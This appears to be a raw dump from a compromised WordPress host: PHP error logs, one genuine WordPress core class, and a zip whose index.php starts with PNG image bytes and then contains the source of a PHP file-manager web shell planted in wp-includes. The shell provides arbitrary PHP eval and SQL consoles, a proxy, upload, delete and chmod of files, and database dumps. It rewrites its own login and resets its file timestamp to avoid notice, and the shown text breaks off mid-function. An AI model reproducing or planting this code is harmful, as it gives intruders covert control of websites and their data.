[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
class-wp-html-text-replacement.php.tar000064400000006000151440300030013776 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
10.zip000064400001530653151440300030005513 0ustar00PKgN\*0��4C4C	index.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
